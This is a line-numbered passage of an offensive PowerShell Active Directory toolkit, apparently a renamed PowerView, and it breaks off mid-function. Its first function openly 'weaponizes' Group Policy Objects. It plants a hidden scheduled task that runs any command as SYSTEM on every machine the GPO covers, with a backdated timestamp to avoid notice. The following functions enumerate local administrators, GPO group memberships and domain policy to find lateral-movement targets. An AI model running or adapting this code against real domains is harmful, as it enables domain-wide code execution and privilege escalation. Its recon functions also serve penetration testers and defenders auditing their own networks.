4289 [ValidateNotNullOrEmpty()]
4290 $TaskAuthor = 'NT AUTHORITY\System',
4291
4292 [Parameter(ParameterSetName = 'Create')]
4293 [String]
4294 [ValidateNotNullOrEmpty()]
4295 $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
4296
4297 [Parameter(ParameterSetName = 'Create')]
4298 [Parameter(ParameterSetName = 'Remove')]
4299 [String]
4300 $GPOname,
4301
4302 [Parameter(ParameterSetName = 'Create')]
4303 [Parameter(ParameterSetName = 'Remove')]
4304 [String]
4305 $GPODisplayName,
4306
4307 [Parameter(ParameterSetName = 'Create')]
4308 [Parameter(ParameterSetName = 'Remove')]
4309 [String]
4310 $Domain,
4311
4312 [Parameter(ParameterSetName = 'Create')]
4313 [Parameter(ParameterSetName = 'Remove')]
4314 [String]
4315 $DomainController,
4316
4317 [Parameter(ParameterSetName = 'Create')]
4318 [Parameter(ParameterSetName = 'Remove')]
4319 [String]
4320 $ADSpath,
4321
4322 [Parameter(ParameterSetName = 'Create')]
4323 [Parameter(ParameterSetName = 'Remove')]
4324 [Switch]
4325 $Force,
4326
4327 [Parameter(ParameterSetName = 'Remove')]
4328 [Switch]
4329 $Remove,
4330
4331 [Parameter(ParameterSetName = 'Create')]
4332 [Parameter(ParameterSetName = 'Remove')]
4333 [Management.Automation.PSCredential]
4334 $Credential
4335 )
4336
4337
4338 $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
4339
4340 if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
4341 Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
4342 return
4343 }
4344
4345
4346 $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
4347
4348 if(!$GPOs) {
4349 Write-Warning 'No GPO found.'
4350 return
4351 }
4352
4353 $GPOs | ForEach-Object {
4354 $ProcessedGPOName = $_.Name
4355 try {
4356 Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
4357
4358
4359 if($Credential) {
4360 Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
4361 $Path = $_.gpcfilesyspath.TrimEnd('\')
4362 $Net = New-Object -ComObject WScript.Network
4363 $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
4364 $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
4365 }
4366 else {
4367 $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
4368 }
4369
4370 if($Remove) {
4371 if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
4372 Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
4373 }
4374
4375 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
4376 return
4377 }
4378
4379 Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
4380 }
4381 else {
4382 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
4383 return
4384 }
4385
4386
4387 $Null = New-Item -ItemType Directory -Force -Path $TaskPath
4388
4389 if(Test-Path "$TaskPath\ScheduledTasks.xml") {
4390 Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
4391 }
4392
4393 $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
4394 }
4395
4396 if($Credential) {
4397 Write-Verbose "Removing mounted drive at N:\"
4398 $Net = New-Object -ComObject WScript.Network
4399 $Net.RemoveNetworkDrive("N:")
4400 }
4401 }
4402 catch {
4403 Write-Warning "Error for GPO $ProcessedGPOName : $_"
4404 if($Credential) {
4405 Write-Verbose "Removing mounted drive at N:\"
4406 $Net = New-Object -ComObject WScript.Network
4407 $Net.RemoveNetworkDrive("N:")
4408 }
4409 }
4410 }
4411}
4412
4413
4414function Get-NetGPOGroup {
4415
4416 [CmdletBinding()]
4417 Param (
4418 [String]
4419 $GPOname = '*',
4420
4421 [String]
4422 $DisplayName,
4423
4424 [String]
4425 $Domain,
4426
4427 [String]
4428 $DomainController,
4429
4430 [String]
4431 $ADSpath,
4432
4433 [Switch]
4434 $ResolveMemberSIDs,
4435
4436 [Switch]
4437 $UsePSDrive,
4438
4439 [ValidateRange(1,10000)]
4440 [Int]
4441 $PageSize = 200
4442 )
4443
4444 $Option = [System.StringSplitOptions]::RemoveEmptyEntries
4445
4446
4447 Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
4448
4449 $GPOdisplayName = $_.displayname
4450 $GPOname = $_.name
4451 $GPOPath = $_.gpcfilesyspath
4452
4453 $ParseArgs = @{
4454 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
4455 'UsePSDrive' = $UsePSDrive
4456 }
4457
4458
4459 $Inf = Get-GptTmpl @ParseArgs
4460
4461 if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
4462
4463 $Memberships = @{}
4464
4465
4466 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
4467 $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}
4468
4469
4470 $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
4471
4472 if($ResolveMemberSIDs) {
4473
4474 $GroupMembers = @()
4475 ForEach($Member in $MembershipValue) {
4476 if($Member -and ($Member.Trim() -ne '')) {
4477 if($Member -notmatch '^S-1-.*') {
4478 $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
4479 if($MemberSID) {
4480 $GroupMembers += $MemberSID
4481 }
4482 else {
4483 $GroupMembers += $Member
4484 }
4485 }
4486 else {
4487 $GroupMembers += $Member
4488 }
4489 }
4490 }
4491 $MembershipValue = $GroupMembers
4492 }
4493
4494 if(-not $Memberships[$Group]) {
4495 $Memberships[$Group] = @{}
4496 }
4497 if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
4498 $Memberships[$Group].Add($Relation, $MembershipValue)
4499 }
4500
4501 ForEach ($Membership in $Memberships.GetEnumerator()) {
4502 if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
4503
4504 $GroupSID = $Membership.Key.Trim('*')
4505 if($GroupSID -and ($GroupSID.Trim() -ne '')) {
4506 $GroupName = Convert-SidToName -SID $GroupSID
4507 }
4508 else {
4509 $GroupName = $False
4510 }
4511 }
4512 else {
4513 $GroupName = $Membership.Key
4514
4515 if($GroupName -and ($GroupName.Trim() -ne '')) {
4516 if($Groupname -match 'Administrators') {
4517 $GroupSID = 'S-1-5-32-544'
4518 }
4519 elseif($Groupname -match 'Remote Desktop') {
4520 $GroupSID = 'S-1-5-32-555'
4521 }
4522 elseif($Groupname -match 'Guests') {
4523 $GroupSID = 'S-1-5-32-546'
4524 }
4525 elseif($GroupName.Trim() -ne '') {
4526 $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
4527 }
4528 else {
4529 $GroupSID = $Null
4530 }
4531 }
4532 }
4533
4534 $GPOGroup = New-Object PSObject
4535 $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
4536 $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
4537 $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
4538 $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
4539 $GPOGroup | Add-Member Noteproperty 'Filters' $Null
4540 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
4541 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
4542 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
4543 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
4544 $GPOGroup
4545 }
4546 }
4547
4548 $ParseArgs = @{
4549 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
4550 'UsePSDrive' = $UsePSDrive
4551 }
4552
4553 Get-GroupsXML @ParseArgs | ForEach-Object {
4554 if($ResolveMemberSIDs) {
4555 $GroupMembers = @()
4556 ForEach($Member in $_.GroupMembers) {
4557 if($Member -and ($Member.Trim() -ne '')) {
4558 if($Member -notmatch '^S-1-.*') {
4559
4560 $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
4561 if($MemberSID) {
4562 $GroupMembers += $MemberSID
4563 }
4564 else {
4565 $GroupMembers += $Member
4566 }
4567 }
4568 else {
4569 $GroupMembers += $Member
4570 }
4571 }
4572 }
4573 $_.GroupMembers = $GroupMembers
4574 }
4575
4576 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
4577 $_ | Add-Member Noteproperty 'GPOName' $GPOName
4578 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
4579 $_
4580 }
4581 }
4582}
4583
4584
4585function Find-GPOLocation {
4586
4587 [CmdletBinding()]
4588 Param (
4589 [String]
4590 $UserName,
4591
4592 [String]
4593 $GroupName,
4594
4595 [String]
4596 $Domain,
4597
4598 [String]
4599 $DomainController,
4600
4601 [String]
4602 $LocalGroup = 'Administrators',
4603
4604 [Switch]
4605 $UsePSDrive,
4606
4607 [ValidateRange(1,10000)]
4608 [Int]
4609 $PageSize = 200
4610 )
4611
4612 if($UserName) {
4613
4614 $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
4615 $UserSid = $User.objectsid
4616
4617 if(-not $UserSid) {
4618 Throw "User '$UserName' not found!"
4619 }
4620
4621 $TargetSIDs = @($UserSid)
4622 $ObjectSamAccountName = $User.samaccountname
4623 $TargetObject = $UserSid
4624 }
4625 elseif($GroupName) {
4626
4627 $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
4628 $GroupSid = $Group.objectsid
4629
4630 if(-not $GroupSid) {
4631 Throw "Group '$GroupName' not found!"
4632 }
4633
4634 $TargetSIDs = @($GroupSid)
4635 $ObjectSamAccountName = $Group.samaccountname
4636 $TargetObject = $GroupSid
4637 }
4638 else {
4639 $TargetSIDs = @('*')
4640 }
4641
4642
4643 if($LocalGroup -like "*Admin*") {
4644 $TargetLocalSID = 'S-1-5-32-544'
4645 }
4646 elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
4647 $TargetLocalSID = 'S-1-5-32-555'
4648 }
4649 elseif ($LocalGroup -like "S-1-5-*") {
4650 $TargetLocalSID = $LocalGroup
4651 }
4652 else {
4653 throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
4654 }
4655
4656
4657
4658 if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
4659 $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
4660 }
4661
4662 if(-not $TargetSIDs) {
4663 throw "No effective target SIDs!"
4664 }
4665
4666 Write-Verbose "TargetLocalSID: $TargetLocalSID"
4667 Write-Verbose "Effective target SIDs: $TargetSIDs"
4668
4669 $GPOGroupArgs = @{
4670 'Domain' = $Domain
4671 'DomainController' = $DomainController
4672 'UsePSDrive' = $UsePSDrive
4673 'ResolveMemberSIDs' = $True
4674 'PageSize' = $PageSize
4675 }
4676
4677
4678 $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
4679
4680 $GPOgroup = $_
4681
4682
4683
4684 if($GPOgroup.GroupSID -match $TargetLocalSID) {
4685 $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
4686 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
4687 $GPOgroup
4688 }
4689 }
4690 }
4691
4692 if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
4693 if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
4694 $GPOgroup
4695 }
4696 }
4697 } | Sort-Object -Property GPOName -Unique
4698
4699 $GPOgroups | ForEach-Object {
4700
4701 $GPOname = $_.GPODisplayName
4702 $GPOguid = $_.GPOName
4703 $GPOPath = $_.GPOPath
4704 $GPOType = $_.GPOType
4705 if($_.GroupMembers) {
4706 $GPOMembers = $_.GroupMembers
4707 }
4708 else {
4709 $GPOMembers = $_.GroupSID
4710 }
4711
4712 $Filters = $_.Filters
4713
4714 if(-not $TargetObject) {
4715
4716
4717 $TargetObjectSIDs = $GPOMembers
4718 }
4719 else {
4720 $TargetObjectSIDs = $TargetObject
4721 }
4722
4723
4724 Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
4725 if($Filters) {
4726
4727
4728 $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
4729 $_.adspath -match ($Filters.Value)
4730 } | ForEach-Object { $_.dnshostname }
4731 }
4732 else {
4733 $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
4734 }
4735
4736 if($OUComputers) {
4737 if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
4738
4739 ForEach ($TargetSid in $TargetObjectSIDs) {
4740 $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
4741
4742 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
4743
4744 $GPOLocation = New-Object PSObject
4745 $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
4746 $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
4747 $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
4748 $GPOLocation | Add-Member Noteproperty 'Domain' $Domain
4749 $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
4750 $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
4751 $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
4752 $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
4753 $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
4754 $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
4755 $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
4756 $GPOLocation.PSObject.TypeNames.Add('ShaiView.GPOLocalGroup')
4757 $GPOLocation
4758 }
4759 }
4760 }
4761
4762
4763 Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
4764
4765 ForEach ($TargetSid in $TargetObjectSIDs) {
4766 $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
4767
4768 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
4769
4770 $AppliedSite = New-Object PSObject
4771 $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
4772 $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
4773 $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
4774 $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
4775 $AppliedSite | Add-Member Noteproperty 'Domain' $Domain
4776 $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
4777 $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
4778 $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
4779 $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
4780 $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
4781 $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
4782 $AppliedSite.PSObject.TypeNames.Add('ShaiView.GPOLocalGroup')
4783 $AppliedSite
4784 }
4785 }
4786 }
4787}
4788
4789
4790function Find-GPOComputerAdmin {
4791
4792
4793 [CmdletBinding()]
4794 Param (
4795 [Parameter(ValueFromPipeline=$True)]
4796 [String]
4797 $ComputerName,
4798
4799 [String]
4800 $OUName,
4801
4802 [String]
4803 $Domain,
4804
4805 [String]
4806 $DomainController,
4807
4808 [Switch]
4809 $Recurse,
4810
4811 [String]
4812 $LocalGroup = 'Administrators',
4813
4814 [Switch]
4815 $UsePSDrive,
4816
4817 [ValidateRange(1,10000)]
4818 [Int]
4819 $PageSize = 200
4820 )
4821
4822 process {
4823
4824 if(!$ComputerName -and !$OUName) {
4825 Throw "-ComputerName or -OUName must be provided"
4826 }
4827
4828 $GPOGroups = @()
4829
4830 if($ComputerName) {
4831 $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
4832
4833 if(!$Computers) {
4834 throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
4835 }
4836
4837 $TargetOUs = @()
4838 ForEach($Computer in $Computers) {
4839
4840 $DN = $Computer.distinguishedname
4841
4842 $TargetOUs += $DN.split(",") | ForEach-Object {
4843 if($_.startswith("OU=")) {
4844 $DN.substring($DN.indexof($_))
4845 }
4846 }
4847 }
4848
4849
4850 $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
4851 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
4852 $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
4853 if($_.gplink) {
4854 $_.gplink.split("][") | ForEach-Object {
4855 if ($_.startswith("LDAP")) {
4856 $_.split(";")[0]
4857 }
4858 }
4859 }
4860 } | ForEach-Object {
4861 $GPOGroupArgs = @{
4862 'Domain' = $Domain
4863 'DomainController' = $DomainController
4864 'ResolveMemberSIDs' = $True
4865 'UsePSDrive' = $UsePSDrive
4866 'PageSize' = $PageSize
4867 }
4868
4869
4870 Get-NetGPOGroup @GPOGroupArgs
4871 }
4872 }
4873 }
4874 else {
4875 $TargetOUs = @($OUName)
4876 }
4877
4878 Write-Verbose "Target OUs: $TargetOUs"
4879
4880 $TargetOUs | Where-Object {$_} | ForEach-Object {
4881
4882 $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
4883
4884 if($_.gplink) {
4885 $_.gplink.split("][") | ForEach-Object {
4886 if ($_.startswith("LDAP")) {
4887 $_.split(";")[0]
4888 }
4889 }
4890 }
4891 }
4892
4893 $GPOGroupArgs = @{
4894 'Domain' = $Domain
4895 'DomainController' = $DomainController
4896 'UsePSDrive' = $UsePSDrive
4897 'ResolveMemberSIDs' = $True
4898 'PageSize' = $PageSize
4899 }
4900
4901
4902 $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
4903 ForEach($GPOLink in $GPOLinks) {
4904 $Name = $_.GPOName
4905 if($GPOLink -like "*$Name*") {
4906 $_
4907 }
4908 }
4909 }
4910 }
4911
4912
4913 $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
4914 $GPOGroup = $_
4915
4916 if($GPOGroup.GroupMembers) {
4917 $GPOMembers = $GPOGroup.GroupMembers
4918 }
4919 else {
4920 $GPOMembers = $GPOGroup.GroupSID
4921 }
4922
4923 $GPOMembers | ForEach-Object {
4924
4925 $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
4926
4927 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
4928
4929 $GPOComputerAdmin = New-Object PSObject
4930 $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
4931 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
4932 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
4933 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
4934 $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
4935 $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
4936 $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
4937 $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
4938 $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
4939 $GPOComputerAdmin
4940
4941
4942 if($Recurse -and $GPOComputerAdmin.isGroup) {
4943
4944 Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
4945
4946 $MemberDN = $_.distinguishedName
4947
4948
4949 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
4950
4951 $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
4952
4953 if ($_.samAccountName) {
4954
4955 $MemberName = $_.samAccountName
4956 }
4957 else {
4958
4959 try {
4960 $MemberName = Convert-SidToName $_.cn
4961 }
4962 catch {
4963
4964 $MemberName = $_.cn
4965 }
4966 }
4967
4968 $GPOComputerAdmin = New-Object PSObject
4969 $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
4970 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
4971 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
4972 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
4973 $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
4974 $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
4975 $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
4976 $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
4977 $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
4978 $GPOComputerAdmin
4979 }
4980 }
4981 }
4982 }
4983 }
4984}
4985
4986
4987function Get-DomainPolicy {
4988
4989
4990 [CmdletBinding()]
4991 Param (
4992 [String]
4993 [ValidateSet("Domain","DC")]
4994 $Source ="Domain",
4995
4996 [String]
4997 $Domain,
4998
4999 [String]
5000 $DomainController,
5001
5002 [Switch]
5003 $ResolveSids,
5004
5005 [Switch]
5006 $UsePSDrive
5007 )
5008
5009 if($Source -eq "Domain") {
5010
5011 $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
5012
5013 if($GPO) {
5014
5015 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
5016
5017 $ParseArgs = @{
5018 'GptTmplPath' = $GptTmplPath
5019 'UsePSDrive' = $UsePSDrive
5020 }
5021
5022
5023 Get-GptTmpl @ParseArgs
5024 }
5025
5026 }
5027 elseif($Source -eq "DC") {
5028
5029 $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"
5030
5031 if($GPO) {
5032
5033 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
5034
5035 $ParseArgs = @{
5036 'GptTmplPath' = $GptTmplPath
5037 'UsePSDrive' = $UsePSDrive
5038 }
5039
5040
5041 Get-GptTmpl @ParseArgs | ForEach-Object {
5042 if($ResolveSids) {
5043
5044 $Policy = New-Object PSObject
5045 $_.psobject.properties | ForEach-Object {
5046 if( $_.Name -eq 'PrivilegeRights') {
5047
5048 $PrivilegeRights = New-Object PSObject
5049
5050 $_.Value.psobject.properties | ForEach-Object {
5051
5052 $Sids = $_.Value | ForEach-Object {
5053 try {
5054 if($_ -isnot [System.Array]) {
5055 Convert-SidToName $_
5056 }
5057 else {
5058 $_ | ForEach-Object { Convert-SidToName $_ }
5059 }
5060 }
5061 catch {
5062 Write-Verbose "Error resolving SID : $_"
5063 }
5064 }
5065
5066 $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
5067 }
5068
5069 $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
5070 }
5071 else {
5072 $Policy | Add-Member Noteproperty $_.Name $_.Value
5073 }
5074 }
5075 $Policy
5076 }
5077 else { $_ }
5078 }
5079 }
5080 }
5081}
5082
5083
5084function Get-NetLocalGroup {
5085
5086
5087 [CmdletBinding(DefaultParameterSetName = 'WinNT')]
5088 param(
5089 [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
5090 [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
5091 [Alias('HostName')]
5092 [String[]]
5093 $ComputerName = $Env:ComputerName,
5094
5095 [Parameter(ParameterSetName = 'WinNT')]
5096 [Parameter(ParameterSetName = 'API')]
5097 [ValidateScript({Test-Path -Path $_ })]
5098 [Alias('HostList')]
5099 [String]
5100 $ComputerFile,
5101
5102 [Parameter(ParameterSetName = 'WinNT')]
5103 [Parameter(ParameterSetName = 'API')]
5104 [String]
5105 $GroupName = 'Administrators',
5106
5107 [Parameter(ParameterSetName = 'WinNT')]
5108 [Switch]
5109 $ListGroups,
5110
5111 [Parameter(ParameterSetName = 'WinNT')]
5112 [Switch]
5113 $Recurse,
5114
5115 [Parameter(ParameterSetName = 'API')]
5116 [Switch]
5117 $API
5118 )
5119
5120 process {
5121
5122 $Servers = @()
5123
5124
5125 if($ComputerFile) {
5126 $Servers = Get-Content -Path $ComputerFile
5127 }
5128 else {
5129
5130 $Servers += $ComputerName | Get-NameField
5131 }
5132
5133
5134
5135 ForEach($Server in $Servers) {
5136
5137 if($API) {
5138
5139
5140 $QueryLevel = 2
5141 $PtrInfo = [IntPtr]::Zero
5142 $EntriesRead = 0
5143 $TotalRead = 0
5144 $ResumeHandle = 0
5145
5146
5147 $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
5148
5149
5150 $Offset = $PtrInfo.ToInt64()
5151
5152 $LocalUsers = @()
5153
5154
5155 if (($Result -eq 0) -and ($Offset -gt 0)) {
5156
5157
5158 $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
5159
5160
5161 for ($i = 0; ($i -lt $EntriesRead); $i++) {
5162
5163 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
5164 $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
5165
5166 $Offset = $NewIntPtr.ToInt64()
5167 $Offset += $Increment
5168
5169 $SidString = ""
5170 $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
5171
5172 if($Result2 -eq 0) {
5173 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
5174 }
5175 else {
5176 $LocalUser = New-Object PSObject
5177 $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
5178 $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
5179 $LocalUser | Add-Member Noteproperty 'SID' $SidString
5180
5181 $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
5182 $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
5183 $LocalUser.PSObject.TypeNames.Add('ShaiView.LocalUserAPI')
5184
